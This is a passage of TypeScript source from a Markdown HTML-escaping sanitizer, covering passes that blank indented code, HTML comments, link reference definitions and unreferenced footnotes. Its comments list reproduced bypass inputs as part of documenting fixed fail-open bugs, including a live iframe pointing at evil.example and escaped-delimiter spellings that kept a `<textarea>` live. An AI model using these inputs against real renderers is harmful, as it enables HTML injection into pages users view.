bogus column.\n *\n * CONTENT-COLUMN CLAMP: CommonMark clamps an item's content column to\n * `markerEnd + 1` when the first block starts MORE than 4 spaces after the\n * marker — the remainder is indented code INSIDE the item. Taking the literal\n * column instead meant `-` + six spaces raised the threshold to 11, so a\n * column-7 `</textarea>` code sample was not blanked.\n *\n * KNOWN OMISSION (deliberate, fail-CLOSED): there is NO paragraph state. Under\n * CommonMark indented code cannot interrupt a paragraph, so a LAZY\n * continuation line — `'Here is a form: <textarea>\\nsome paragraph\\n    </textarea>\\n'`\n * — is paragraph text, yet this walk blanks it as code and the (real, properly\n * closed) element is escaped to visible source. That is cosmetic, and the\n * option NOT taken here is the fail-OPEN direction: skipping the code test in\n * paragraph state means blanking LESS, i.e. more closers visible to\n * `hasLaterCloser` and more openers left live. The list-awareness above was\n * worth its risk because it is unconditional over an entire list item; this\n * one is not, so it is documented rather than implemented.\n */\nconst LIST_MARKER_RE = /^([ \\t]*)(?:[-*+]|\\d{1,9}[.)])([ \\t]+)(?=\\S)/\n\n/** Visual column of `upTo` chars of `line`, expanding tabs to 4-col stops. */\nfunction visualColumn(line: string, upTo: number): number {\n  let col = 0\n  for (let i = 0; i < upTo; i++) col = line[i] === '\\t' ? col + 4 - (col % 4) : col + 1\n  return col\n}\n\nfunction leadingIndent(line: string): number {\n  const ws = /^[ \\t]*/.exec(line)![0]\n  return visualColumn(line, ws.length)\n}\n\n/** Character index at which `line` reaches visual column `col`, or -1 when the\n *  column falls INSIDE a tab (no exact character boundary) or the line is too\n *  short. The mask is length-preserving, so a container prefix can only ever be\n *  cut at a character boundary; -1 makes the caller decline to strip, which\n *  leaves the line looking indented and therefore blanks MORE (fail-CLOSED). */\nfunction charIndexAtColumn(line: string, col: number): number {\n  let c = 0\n  for (let i = 0; i < line.length; i++) {\n    if (c === col) return i\n    c = line[i] === '\\t' ? c + 4 - (c % 4) : c + 1\n    if (c > col) return -1\n  }\n  return c === col ? line.length : -1\n}\n\nfunction blankIndentedCode(masked: string, lines: MaskLine[]): string {\n  const listContentCols: number[] = []\n  const ranges: Array<[number, number]> = []\n  for (const line of lines) {\n    // CommonMark's blank line (spaces/tabs, `\\r`-tolerant), NOT `trim()` — see\n    // `isBlankLine`. An NBSP-only line is CONTENT, and skipping it here as\n    // \"blank\" is the same one-character reopening documented there.\n    if (isBlankLine(line.content)) continue\n    const indent = leadingIndent(line.content)\n    const top = listContentCols.length ? listContentCols[listContentCols.length - 1] : 0\n    if (indent >= top + 4) {\n      ranges.push([line.contentStart, line.contentStart + line.content.length])\n      continue\n    }\n    while (listContentCols.length && indent < listContentCols[listContentCols.length - 1])\n      listContentCols.pop()\n    const marker = LIST_MARKER_RE.exec(line.content)\n    if (marker) {\n      const markerEndCol = visualColumn(line.content, marker[0].length - marker[2].length)\n      const contentCol = visualColumn(line.content, marker[0].length)\n      listContentCols.push(contentCol - markerEndCol > 4 ? markerEndCol + 1 : contentCol)\n    }\n  }\n  return blankRanges(masked, ranges)\n}\n\n/** Re-derive scannable lines from the CURRENT mask, preserving each line's\n *  original `start` / `contentStart` (every pass is length-preserving, so the\n *  offsets transfer verbatim). See `blankIndentedCode`'s SCAN-SOURCE\n *  INVERSION. */\nfunction remapToMask(masked: string, lines: MaskLine[]): MaskLine[] {\n  return lines.map((line) => ({\n    ...line,\n    content: masked.slice(line.contentStart, line.contentStart + line.content.length),\n  }))\n}\n\n/**\n * Blank HTML COMMENTS. `<!-- </textarea> -->` is not a closer — parse5 consumes\n * it as comment data — yet it satisfied the raw substring search. The\n * unterminated form is blanked to EOF, matching what the tokenizer does with a\n * comment that never ends (and, again, failing closed).\n *\n * SCAN-SOURCE EXCEPTION: this is the ONE pass fed the already-masked copy\n * rather than the unmasked one. The shared contract exists because\n * the inline-code pass chews backticks off an unclosed fence opener and would\n * blind a fence scan — but for comments the reasoning INVERTS: a `<!--` inside a code\n * region is not a comment start, and treating it as one blanked the document to\n * EOF. Both `` Use `<!--` to start a comment. `` and a truncated `<!-- todo`\n * inside a ```html fence disabled EVERY later RAWTEXT closer in the message.\n * Running last over the masked copy is safe: all prior passes are\n * length-preserving so offsets still transfer verbatim, a `<!--` inside\n * fenced / inline / indented / quoted code is spaces by now and matches\n * nothing, and a genuine prose comment is untouched by any of them.\n */\nconst HTML_COMMENT_RE = /<!--[\\s\\S]*?-->|<!--[\\s\\S]*$/g\n\nfunction blankComments(masked: string, source: string): string {\n  HTML_COMMENT_RE.lastIndex = 0\n  const ranges: Array<[number, number]> = []\n  let m: RegExpExecArray | null\n  while ((m = HTML_COMMENT_RE.exec(source)) !== null) {\n    ranges.push([m.index, m.index + m[0].length])\n    if (m[0].length === 0) HTML_COMMENT_RE.lastIndex++\n  }\n  return blankRanges(masked, ranges)\n}\n\n/**\n * Blank LINK REFERENCE DEFINITIONS (round 18 — SECURITY).\n *\n * `remark` consumes a definition ENTIRELY and emits no node for it, so a\n * `</textarea>` written in a definition's DESTINATION or TITLE is never a real\n * closer — but it survived into the closer haystack, `hasLaterCloser` returned\n * true and a prose `<textarea>` above stayed LIVE. Reproduced byte-identical for\n * both `[a]: /x \"</textarea>\"` and `[a]: </textarea>`.\n *\n * FAIL DIRECTION: blank the WHOLE line on a definition-SHAPED match, without\n * modelling \"a definition may not interrupt a paragraph\". Over-blanking here can\n * only hide closers, i.e. escape MORE openers — the fail-CLOSED direction — so\n * the loose shape is the correct bias.\n *\n * MULTI-LINE SPELLINGS (round 19). CommonMark lets the destination AND/OR the\n * title sit on lines FOLLOWING the label. The previous continuation state was a\n * single `expectTitle` boolean checked against a BARE QUOTED TITLE, so\n * `[a]:\\n/x \"</textarea>\"` blanked the `[a]:` line and left the whole\n * `destination + title` line visible (reproduced live, `escapeUnknownHtmlTags`\n * byte-identical); so did `[a]:\\n</textarea>`. remark consumes the entire\n * definition and emits no link node at all, so the closer is fake in every one\n * of these spellings. The state is now a three-valued\n * `'none' | 'needDest' | 'needTitle'`:\n *\n *   - a definition line with NO destination     → `needDest`\n *   - a definition line with a destination but NO title → `needTitle`\n *   - `needDest` accepts a `destination [title]` line, then falls to\n *     `needTitle` (or `none` when that line carried the title)\n *   - `needTitle` accepts a bare quoted/parenthesised title line\n *\n * `needDest`'s continuation shape is deliberately loose (any single\n * non-whitespace run), which can over-blank ONE line after a bare `[a]:` — the\n * fail-CLOSED direction, and `[a]:` alone is not a shape prose produces.\n *\n * FOOTNOTES ARE EXCLUDED (round 19). `\\[[^\\]\\n]{0,999}\\]:` also matched a GFM\n * footnote definition `[^a]: …`, whose content is BLOCK-parsed and therefore\n * may contain REAL html: `[^a]: <textarea>hi</textarea>` rendered as escaped\n * visible source while the byte-identical pair in prose rendered correctly.\n * Cosmetic (fail-closed) rather than a security defect, but wrong, so the label\n * now rejects a leading `^`.\n *\n * CONTAINER-AGNOSTIC BY CONSTRUCTION, like `blankComments` — the shape absorbs\n * an optional blockquote run and one list marker, so a definition written inside\n * a quote or ON a list-marker line is covered by the SINGLE top-level call and\n * the pass never has to be threaded through the container recursion at a\n * container-relative column. The marker-line sweep dimension added in this round\n * found exactly that shape (`- [a]: /x \"</textarea>\"`) live.\n */\n/**\n * The two `{0,16}` / `{1,16}` whitespace bounds here are the ONE cap in this\n * pass that may still decline a line, and it is unreachable as a fail-open: an\n * indent or a marker gap above 16 columns is also ≥ 4 columns past the\n * enclosing content column, so the line is INDENTED CODE and\n * `blankIndentedCode` has already blanked it. Verified live at gap 17\n * (`- ` + 16 spaces + `[a]: /x \"</textarea>\"` escapes correctly). Do not raise\n * them into an unbounded `*` on the assumption that \"more is safer\" — that\n * would let a 4-column-indented definition line escape the code path it\n * currently falls into.\n */\nconst LINK_DEF_CONTAINER_PREFIX = ' {0,3}(?:>[ \\\\t]?)*[ \\\\t]{0,16}(?:(?:[-*+]|\\\\d{1,9}[.)])[ \\\\t]{1,16})?'\n/**\n * NO REGEX, AND NO LENGTH BOUND, ON LABEL / DESTINATION / TITLE\n * (round 20 removed the `{0,999}` caps; round 21 removed the regexes).\n *\n * Round 20 removed the counted caps because a regex that fails to match leaves\n * the line VISIBLE — the fail-OPEN direction this module's contract forbids.\n * It left the SHAPE of those regexes untouched, and the shape was\n * BACKSLASH-BLIND: `[^\"\\n]*` / `[^'\\n]*` / `[^)\\n]*` / `[^>\\n]*` / `[^\\]\\n]*`\n * each stop at the FIRST delimiter, escaped or not, while CommonMark lets a\n * title hold `\\\"` / `\\'` / `\\)` and a label hold `\\]`. The class stopped early,\n * the full-line anchor `[ \\t]*\\r?$` then failed, and the line stayed VISIBLE\n * while remark still consumed the definition and emitted NOTHING — five live\n * spellings, each `escapeUnknownHtmlTags(md) === md` with one live\n * `<textarea>`:\n *\n *   [a]: /x \"a\\\"</textarea>\"     [a]: /x 'it\\'s </textarea>'\n *   [a]: /x (a\\)</textarea>)     [a\\]b]: /x \"</textarea>\"\n *   [a\\]b]: </textarea>\n *\n * …while the unescaped CONTROL `[a]: /x \"</textarea>\"` blanked correctly, which\n * is what makes the escape (not the shape) the cause.\n *\n * AND THE LABEL AND TITLE MAY SPAN LINES. The old `'none' | 'needDest' |\n * 'needTitle'` state modelled continuation only AFTER the `]:`, so a LABEL that\n * opens on one line and closes on a later one, and a TITLE that opens\n * unterminated, were examined by NOBODY — `blankBracketLabels` deliberately\n * excludes a bare `[…]`, so the label had no other pass either. Live in both\n * renderers, byte-identical no-ops:\n *\n *   [foo\\n</textarea>]: /x          [</textarea>\\nfoo]: /x\n *   [foo\\n</textarea>\\nbar]: /x     > [foo\\n> </textarea>]: /x\n *   [a]: /x \"line1\\n</textarea>\"\n *\n * …plus the escalation: a live `<iframe src=… width=… height=…>` behind\n * `[foo\\n</iframe>]: /x`.\n *\n * THE PASS IS THEREFORE A CHARACTER PARSER, NOT A LINE REGEX. It is\n * ESCAPE-AWARE by construction (`skipEscaped` consumes `\\` + one character\n * everywhere), has no length cap at all, and is LINEAR: every scan helper below\n * advances its cursor monotonically over one line, and the outer line loop\n * telescopes (see `findLabelClose`'s `stoppedAt` contract). No nested\n * quantifier survives, so the backtracking risk the counted caps used to\n * pretend to bound is gone rather than re-bounded. MEASURED, not assumed —\n * `__buildCloserHaystackForTest`, median of 7, at 37/151/389/989 KB, before →\n * after: list-dense 3.1/7.9/20.6/47.8 → 2.8/7.5/19.1/54.8 ms; realistic\n * 1.9/5.8/15.4/43.9 → 1.6/5.8/16.3/49.9 ms; definition-dense 1.3/5.5/15.0/40.0\n * → 1.4/5.9/17.8/45.2 ms. Every series stays DEAD LINEAR (2.5x input ⇒ ~2.7x\n * time) and the ~13-15% constant is the price of a character parser over a\n * regex. The ESCAPED-definition corpus is the outlier at 25.1 → 51.2 ms,\n * because HEAD did NO WORK on it: the backslash-blind regex failed to match and\n * left the line visible, which is precisely the defect. Adversarial shapes\n * (`[` + 40 backslash pairs per line, an all-unclosed-label document) are the\n * FASTEST corpora measured — 9.5 ms and 14.3 ms at 989 KB — because\n * `findLabelClose`'s `stoppedAt` contract makes the outer loop telescope\n * instead of rescanning the paragraph once per line. Do not remove `stoppedAt`;\n * a naive per-line lookahead is quadratic on exactly those inputs.\n *\n * EXIT DISCIPLINE — the structural point of this round. The parse has exactly\n * two stages, and the stage decides the fail direction:\n *\n *   RECOGNITION (is this a definition at all?) may DECLINE. Every decline here\n *   is a shape CommonMark also refuses, so remark emits the text as HTML and a\n *   closer written in it is REAL — the same argument that keeps an inline\n *   link's `[…]` and a bare shortcut reference visible. Declining is the\n *   CORRECT answer, not a gap; the reachability argument for each is on the\n *   exit itself.\n *\n *   CONSUMPTION (a `[…]:` was recognized) may NEVER decline. Every give-up\n *   routes through `blankLinesToParagraphBound` — the ONE give-up channel —\n *   which blanks to the next blank line, CommonMark's own bound for a\n *   definition, exactly as `blankInlineLinkPayloads` widens a capped payload to\n *   `paragraphEnd`. A `decline` returned by the tail parser is a RECOGNITION\n *   verdict delivered late (the line is not definition-shaped after all), and\n *   it therefore unwinds the WHOLE construct — nothing is blanked — rather than\n *   leaving a half-blanked span behind.\n */\n\n/** `\\` consumes the next character. THE escape primitive for this pass — every\n *  scan below advances through it, which is what makes them all backslash-aware\n *  and all monotonic. */\nfunction skipEscaped(s: string, i: number): number {\n  return s[i] === '\\\\' ? i + 2 : i + 1\n}\n\n/** First UNESCAPED occurrence of `ch` in `s` at or after `at`, else -1. */\nfunction findUnescaped(s: string, at: number, ch: string): number {\n  for (let i = at; i < s.length; i = skipEscaped(s, i)) if (s[i] === ch) return i\n  return -1\n}\n\nconst isSpaceTab = (ch: string): boolean => ch === ' ' || ch === '\\t'\n\nfunction skipSpaces(s: string, i: number): number {\n  while (i < s.length && isSpaceTab(s[i])) i++\n  return i\n}\n\n/** Lines are `\\n`-split, so a CRLF document leaves a trailing `\\r`. The pass\n *  blanks WHOLE lines, so dropping it costs no offset accuracy. */\nconst stripCr = (s: string): string => (s.endsWith('\\r') ? s.slice(0, -1) : s)\n\nconst TITLE_CLOSE: Record<string, string> = { '\"': '\"', \"'\": \"'\", '(': ')' }\n\n/** Index just past a title whose opening delimiter is at `i`, or -1 when the\n *  title does not close on this line. CommonMark ALLOWS a title to span lines,\n *  so -1 is a CONTINUATION signal, never a decline. */\nfunction parseTitleOnLine(s: string, i: number): number {\n  const close = TITLE_CLOSE[s[i]]\n  for (let q = i + 1; q < s.length; q = skipEscaped(s, q)) if (s[q] === close) return q + 1\n  return -1\n}\n\n/** Index just past a destination at `i`, or -1.\n *\n *  RECOGNITION DECLINE (-1), reachability: only an angle destination that never\n *  closes on its line. CommonMark forbids a line ending inside `<…>` and a bare\n *  destination may not START with `<`, so such a line is not a definition to\n *  remark either — it is emitted as paragraph text and any closer in it is\n *  REAL. Blanking it would over-escape a genuine element. */\nfunction parseDestOnLine(s: string, i: number): number {\n  if (s[i] === '<') {\n    for (let q = i + 1; q < s.length; q = skipEscaped(s, q)) if (s[q] === '>') return q + 1\n    return -1\n  }\n  let q = i\n  while (q < s.length && !isSpaceTab(s[q])) q = skipEscaped(s, q)\n  return q > i ? Math.min(q, s.length) : -1\n}\n\n/** What the remainder of ONE line says about the definition being consumed. */\ntype DefTail =\n  | { k: 'done' } // destination (+ optional title) complete; line ends\n  | { k: 'needDest' } // nothing on this line; the destination follows\n  | { k: 'needTitle' } // destination taken; a title MAY follow on a later line\n  | { k: 'openTitle'; close: string } // a title opened here and did not close\n  | { k: 'decline' } // not definition-shaped after all (see below)\n\n/**\n * RECOGNITION DECLINE, reachability, for every `decline` this returns:\n *\n *  - trailing content after a COMPLETE destination (+ title): CommonMark reads\n *    a definition only when nothing but whitespace follows, so `[a]: /x junk\n *    </textarea>` is a PARAGRAPH to remark and its closer is REAL;\n *  - a title that is not space-separated from the destination (`[a]: <x>\"t\"`) —\n *    same, remark reads no title and the trailing text invalidates the line.\n *    The ANGLE spelling is the reachable one (round 22): `parseDestOnLine`\n *    consumes a BARE destination to the next space/tab, so in `[a]: /x\"t\"` the\n *    quote is part of the destination and the line returns `needTitle`, never\n *    this decline;\n *  - a non-delimiter where a title must begin — same;\n *  - an unclosed angle destination — see `parseDestOnLine`.\n *\n * In every case remark EMITS the text, so leaving it visible is required, not\n * merely permitted. This is the same boundary `blankBracketLabels` draws\n * around an inline link's `[…]`.\n */\nfunction parseDefTail(c: string, at: number): DefTail {\n  let q = skipSpaces(c, at)\n  if (q >= c.length) return { k: 'needDest' }\n  const destEnd = parseDestOnLine(c, q)\n  if (destEnd < 0) return { k: 'decline' }\n  q = destEnd\n  const gap = skipSpaces(c, q)\n  if (gap >= c.length) return { k: 'needTitle' }\n  if (gap === q) return { k: 'decline' }\n  return parseTitleTail(c, gap)\n}\n\n/** The title half of `parseDefTail`, also used for a BARE title continuation\n *  line. Same decline reachability. */\nfunction parseTitleTail(c: string, q: number): DefTail {\n  const close = TITLE_CLOSE[c[q]]\n  if (!close) return { k: 'decline' }\n  const end = parseTitleOnLine(c, q)\n  if (end < 0) return { k: 'openTitle', close }\n  return skipSpaces(c, end) >= c.length ? { k: 'done' } : { k: 'decline' }\n}\n\n/**\n * A definition's CONTINUATION lines carry the blockquote run and indent but\n * never a list marker — a marker would open a new item, not continue the\n * definition. The `{0,16}` indent bound is the same unreachable-as-fail-open\n * cap argued for `LINK_DEF_CONTAINER_PREFIX`: past 16 columns the line is ≥ 4\n * columns beyond the enclosing content column, i.e. INDENTED CODE that\n * `blankIndentedCode` has already blanked.\n */\nconst LINK_DEF_CONT_PREFIX_RE = / {0,3}(?:>[ \\t]?)*[ \\t]{0,16}/y\n/** `\\[(?!\\^)` — a GFM FOOTNOTE definition is NOT a link reference definition;\n *  its content is block-parsed and may hold real HTML (round 19). */\nconst LINK_DEF_OPEN_RE = new RegExp(`^${LINK_DEF_CONTAINER_PREFIX}\\\\[(?!\\\\^)`)\n\nfunction contPrefixLen(c: string): number {\n  LINK_DEF_CONT_PREFIX_RE.lastIndex = 0\n  return LINK_DEF_CONT_PREFIX_RE.exec(c)![0].length\n}\n\n/**\n * Walk forward for the `]:` that turns an opened label into a DEFINITION.\n * Crosses lines (a CommonMark label may), bounded by the next blank line.\n *\n * Returns `{ line, colon }` on success, or `{ stoppedAt }` — a RECOGNITION\n * decline whose reachability is:\n *   - a `]` not followed by `:` → a bare shortcut reference or ordinary text,\n *     which remark EMITS, so a closer inside it is real (the exclusion\n *     `blankBracketLabels` already documents);\n *   - an unescaped `[` inside the label → CommonMark rejects the label, so the\n *     whole run is paragraph text;\n *   - the paragraph bound with neither → an ordinary `[`-leading prose\n *     paragraph, which must stay untouched.\n *\n * `stoppedAt` also makes the outer loop LINEAR. Nothing in `[i, stoppedAt)`\n * holds a `]` or `[`, so no line in that window can open a definition either;\n * the caller resumes at `max(stoppedAt, i + 1)` and the per-line work\n * telescopes instead of rescanning the paragraph once per line.\n */\nfunction findLabelClose(\n  lines: MaskLine[],\n  i: number,\n  from: number,\n): { line: number; colon: number } | { stoppedAt: number } {\n  for (let j = i; j < lines.length; j++) {\n    const c = stripCr(lines[j].content)\n    if (j > i && isBlankLine(c)) return { stoppedAt: j }\n    for (let q = j === i ? from : contPrefixLen(c); q < c.length; q = skipEscaped(c, q)) {\n      if (c[q] === '[') return { stoppedAt: j }\n      if (c[q] !== ']') continue\n      return c[q + 1] === ':' ? { line: j, colon: q + 1 } : { stoppedAt: j }\n    }\n  }\n  return { stoppedAt: lines.length }\n}\n\n/**\n * Blank LINK REFERENCE DEFINITIONS (round 18 — SECURITY).\n *\n * `remark` consumes a definition ENTIRELY and emits no node for it, so a\n * `</textarea>` written in a definition's LABEL, DESTINATION or TITLE is never\n * a real closer — but it survived into the closer haystack, `hasLaterCloser`\n * returned true and a prose `<textarea>` above stayed LIVE. Reproduced\n * byte-identical for `[a]: /x \"</textarea>\"`, `[a]: </textarea>`, the\n * multi-line spellings (round 19), the backslash-escaped delimiters and the\n * multi-line label/title (round 21).\n *\n * FAIL DIRECTION: blank the WHOLE line on a definition-SHAPED match, without\n * modelling \"a definition may not interrupt a paragraph\". Over-blanking here can\n * only hide closers, i.e. escape MORE openers — the fail-CLOSED direction — so\n * the loose shape is the correct bias.\n *\n * FOOTNOTES ARE EXCLUDED (round 19). The label rejects a leading `^`: a GFM\n * footnote definition's content is BLOCK-parsed and may contain REAL html.\n *\n * CONTAINER-AGNOSTIC BY CONSTRUCTION, like `blankComments` — the shape absorbs\n * an optional blockquote run and one list marker, so a definition written inside\n * a quote or ON a list-marker line is covered by the SINGLE top-level call.\n */\nfunction blankLinkDefinitions(masked: string, lines: MaskLine[]): string {\n  const ranges: Array<[number, number]> = []\n  const blankLine = (line: MaskLine): void => {\n    ranges.push([line.contentStart, line.contentStart + line.content.length])\n  }\n\n  /**\n   * THE ONE GIVE-UP CHANNEL. A construct already recognized as a definition can\n   * only ever stop blanking at CommonMark's own bound for it — the next blank\n   * line — never by declining. Returns the index of the last line blanked.\n   * `stop` lets a caller end EARLY on a line it recognises (a closing title\n   * delimiter); returning false everywhere degrades to \"blank to the bound\",\n   * which is the default this channel exists to guarantee.\n   */\n  const blankLinesToParagraphBound = (from: number, stop: (c: string) => boolean): number => {\n    let k = from\n    for (; k < lines.length; k++) {\n      const c = stripCr(lines[k].content)\n      if (isBlankLine(c)) break\n      blankLine(lines[k])\n      if (stop(c)) {\n        k++\n        break\n      }\n    }\n    return k - 1\n  }\n\n  let i = 0\n  while (i < lines.length) {\n    const line = lines[i]\n    if (line.content.indexOf('[') === -1) {\n      i++\n      continue\n    }\n    const open = LINK_DEF_OPEN_RE.exec(line.content)\n    if (!open) {\n      i++\n      continue\n    }\n    const close = findLabelClose(lines, i, open[0].length)\n    if ('stoppedAt' in close) {\n      i = Math.max(close.stoppedAt, i + 1)\n      continue\n    }\n    const head = stripCr(lines[close.line].content)\n    let tail = parseDefTail(head, close.colon + 1)\n    // A late RECOGNITION verdict unwinds the WHOLE construct: remark emits every\n    // line of it as text, so nothing may be blanked.\n    if (tail.k === 'decline') {\n      i = Math.max(close.line, i + 1)\n      continue\n    }\n    // COMMITTED. From here every exit blanks.\n    for (let j = i; j <= close.line; j++) blankLine(lines[j])\n    let j = close.line\n    while (tail.k !== 'done') {\n      if (tail.k === 'openTitle') {\n        const closer = tail.close\n        j = blankLinesToParagraphBound(j + 1, (c) => findUnescaped(c, 0, closer) !== -1)\n        break\n      }\n      const k = j + 1\n      if (k >= lines.length) break\n      const c = stripCr(lines[k].content)\n      if (isBlankLine(c)) break\n      const at = contPrefixLen(c)\n      const next: DefTail =\n        tail.k === 'needDest' ? parseDefTail(c, at) : parseTitleTail(c, skipSpaces(c, at))\n      // The definition is already COMPLETE without this line (a destination-only\n      // definition needs no title; a `[a]:` with no parseable destination is not\n      // a definition at all and remark emits the following line as text), so this\n      // is a RECOGNITION boundary, not a give-up.\n      if (next.k === 'decline') break\n      blankLine(lines[k])\n      j = k\n      tail = next\n    }\n    i = j + 1\n  }\n  return blankRanges(masked, mergeRanges(ranges))\n}\n\n/**\n * `[^` after the container prefix — a GFM FOOTNOTE definition opener, the shape\n * `LINK_DEF_OPEN_RE`'s `\\[(?!\\^)` deliberately refuses.\n *\n * The prefix absorbs a blockquote run and ANY NUMBER of list markers, where\n * `LINK_DEF_CONTAINER_PREFIX` stops at one. It has to: this pass is called ONCE\n * at top level (its reference set is document-global, so it cannot be re-run on\n * a container pass's stripped run the way `blankLinkDefinitions` is), and the\n * sweep found `- - [^zz]: … </textarea>` swallowing live at depth 2. Over-\n * detection is fail-CLOSED here — an unreferenced footnote is emitted by\n * nothing, so blanking more of one costs nothing at all.\n *\n * THE MARKER GROUP CARRIES NO LEADING WHITESPACE QUANTIFIER, deliberately. The\n * indent is matched ONCE before the group and afterwards only by each marker's\n * OWN trailing `[ \\t]{1,16}`, so no two quantifiers ever compete for the same\n * whitespace run and a gap has exactly one viable split. The naive spelling\n * (`(?:[ \\t]{0,16}marker[ \\t]{1,16})*`) splits a 2-space gap two ways and\n * backtracks 2^depth on a NON-matching line — `-  -  -  …x` is ordinary prose.\n */\nconst FOOTNOTE_DEF_OPEN_RE = new RegExp(\n  '^ {0,3}(?:>[ \\\\t]?)*[ \\\\t]{0,16}(?:(?:[-*+]|\\\\d{1,9}[.)])[ \\\\t]{1,16})*\\\\[\\\\^',\n)\n/** A blockquote run, WITHOUT swallowing the indent after it — the footnote-body\n *  continuation test has to MEASURE that indent, which `contPrefixLen` eats. */\nconst FOOTNOTE_QUOTE_PREFIX_RE = / {0,3}(?:>[ \\t]?)*/y\n\n/**\n * micromark's `normalizeIdentifier`, byte-for-byte: collapse every whitespace\n * run to one space, trim, then case-fold via `toLowerCase().toUpperCase()` (the\n * double fold is what makes ß/ẞ and the Turkish dotted I agree). A reference and\n * a definition are the SAME footnote exactly when these agree, so matching on\n * anything looser (raw slices) would call a resolved footnote unreferenced.\n */\nfunction normalizeFootnoteLabel(label: string): string {\n  return label\n    .replace(/[\\t\\n\\r ]+/g, ' ')\n    .replace(/^ | $/g, '')\n    .toLowerCase()\n    .toUpperCase()\n}\n\n/** End index of the label opened by `[^` at `open`, i.e. the index of its\n *  closing `]`, or -1. Escape-aware and single-line, like the construct. An\n *  unescaped `[` inside voids the label exactly as it does for a link label. */\nfunction footnoteLabelEnd(c: string, open: number): number {\n  for (let q = open + 2; q < c.length; q = skipEscaped(c, q)) {\n    if (c[q] === '[') return -1\n    if (c[q] === ']') return q\n  }\n  return -1\n}\n\n/**\n * Blank UNREFERENCED GFM FOOTNOTE DEFINITIONS (round 22 — SECURITY).\n *\n * Round 19 excluded `[^label]:` from `blankLinkDefinitions` and wrote the\n * reason on the exit: a footnote's body is BLOCK-parsed and may hold REAL html,\n * so blanking it would hide a genuine closer and over-escape a genuine element.\n * That reason is true of a REFERENCED footnote and FALSE of an unreferenced one:\n * `remark-gfm` resolves definitions against references and DROPS a definition\n * nothing points at, emitting no node and no footnote section for it. Nothing in\n * its body reaches the document — but the whole line stayed live in the closer\n * haystack, `hasLaterCloser` returned true, and the prose opener above it was\n * left UNESCAPED. Reproduced end-to-end through the real\n * `escapeUnknownHtmlTags → remarkGfm → rehypeRaw → rehypeSanitize` chain:\n *\n *   Secret prose.\n *\n *   <iframe src=\"https://evil.example/x\" width=\"600\">\n *\n *   visible text\n *\n *   [^f]: note body </iframe>\n *\n * → `<p>Secret prose.</p><iframe src=\"https://evil.example/x\" width=\"600\">\n * visible text</iframe>` — a LIVE iframe keeping both attributes and swallowing\n * the prose below. Delete the footnote line and the same input escapes\n * correctly. The lesson the round generalises: a RECOGNITION decline's\n * justification must hold for EVERY sub-case of the construct, not the common\n * one.\n *\n * SO THE DECLINE IS NARROWED, NOT DROPPED. A definition whose label IS\n * referenced keeps round 19's treatment (untouched, body live). A definition\n * whose label is referenced NOWHERE is blanked with its body. That blanking is\n * EXACT for every reference the mask can see — remark emits NONE of those bytes\n * — and OVER-blanks only where an earlier pass has already hidden a REAL\n * reference, which is the fail-CLOSED direction. (Round 23 checked the claim in\n * the over-blank direction, where the older \"EXACT, not merely fail-closed\"\n * wording was false: `blankLinkDefinitions`' `openTitle` exit blanks to the\n * paragraph bound, but an unclosed title makes CommonMark REJECT the definition\n * and read the run as a PARAGRAPH, whose `[^f]` is a genuine reference. Executed:\n * `[a]: /x \"unclosed` + a lazy line holding `[^f]` + `[^f]: body </textarea>`\n * escapes its opener even though remark renders the closer live. Cosmetic, and\n * on the safe side — but do not re-read the sentence as a proof that it cannot\n * happen.)\n *\n * THE PASS READS TWO SOURCES, and the split is the security-load-bearing part\n * (round 23 — this pass's own fail-open):\n *\n *   DEFINITIONS come from the CURRENT MASK (`text`). A definition line hidden\n *   by an earlier pass is simply not seen, which leaves it in the haystack —\n *   round 19's behaviour, the direction this pass was already in.\n *\n *   REFERENCES come from a SEPARATE, MORE-BLANKED scratch copy (`refText`,\n *   built by `footnoteReferenceMask`). Round 22 counted them on the current\n *   mask and justified it with \"a `[^f]` written inside code has already been\n *   blanked\" plus \"a phantom reference degrades to round 19's behaviour, never\n *   worse\". Both sentences are true of CODE and FALSE of every region remark\n *   consumes into an ATTRIBUTE or drops entirely: at this point in the pipeline\n *   `blankInlineLinkPayloads`, `blankBracketLabels` and `blankComments` have\n *   not run yet, so a `[^f]` written in an image ALT, a full-reference LABEL,\n *   an inline link TITLE or angle DESTINATION, an HTML COMMENT or a raw HTML\n *   BLOCK counted as a live reference. remark resolves NONE of those — the\n *   definition it points at is dropped and never becomes document text — so\n *   the phantom kept the definition (and its `</textarea>`) in the closer\n *   haystack, `hasLaterCloser` returned true and the opener above stayed LIVE.\n *   That is a fail-OPEN, not a degradation: TEN spellings reproduced a live\n *   `<textarea>` (or, with an attribute-bearing `<iframe>` opener, a live\n *   iframe) end-to-end. Verified phantom-ness independently —\n *   `visible text ![x [^f] y](/i.png)` + `[^f]: body` emits NO `data-footnotes`\n *   section at all, while the same input with a real reference does.\n *\n *   The scratch copy may over-blank freely: counting FEWER references only\n *   blanks MORE definitions, which is the fail-CLOSED direction.\n *\n * CONTAINER-NESTED CODE IS NOT A HOLE — round 22's hedge (\"a reference inside\n * such a region still counts, because the container passes run AFTER this one\")\n * was over-pessimistic and is retracted. MEASURED, with a type-6 opener so the\n * shape is not confounded by the opener's own HTML block: a `[^f]` inside a\n * blockquoted fence, a list-item fence at content column 2 AND at 4, a\n * quoted-list fence, a top-level fence and indented code all render 0 live\n * elements — every one of those regions is ALREADY blanked by\n * `blankFencedRegions` / `blankIndentedCode` before this pass reads the mask.\n *\n * THE ONE NAMED RESIDUAL is TRANSITIVE: a reference that exists ONLY inside\n * ANOTHER, itself-unreferenced, definition's body (`[^a]: see [^f]` with nothing\n * referencing `a`). remark drops both definitions, so `[^f]`'s is a phantom too,\n * but this pass counts references ONCE and would need a FIXPOINT (blank, rebuild\n * the ref-mask, recount) to see it. Deliberately not built: the loop is\n * unbounded in the number of definitions, and the shape needs an attacker to\n * plant a second dead definition. Reproduced and left standing knowingly — if it\n * is ever closed, close it with a bounded iteration count, not an unbounded one.\n *\n * BODY BOUND: the label line, its LAZY paragraph continuation lines, and any\n * further blocks indented >= 4 columns past the blockquote run — GFM's own\n * \"content of a footnote is what an indented continuation would give a list\n * item\". The walk stops at a de-indented line after a blank one, and at another\n * footnote-definition line, so a following REFERENCED footnote is not\n * over-blanked into escaped source.\n *\n * CONTAINER-AGNOSTIC BY CONSTRUCTION, and MORE so than `blankLinkDefinitions`:\n * the reference set is document-GLOBAL, so unlike that pass this one cannot be\n * re-run on a container pass's stripped run to reach deeper nesting. Its opener\n * prefix therefore absorbs any number of list markers itself (see\n * `FOOTNOTE_DEF_OPEN_RE`), and the single top-level call covers every depth.\n */\nfunction blankUnreferencedFootnotes(masked: string, lines: MaskLine[], folded: string): string {\n  // `[^` is rare and the whole pass is a no-op without one, 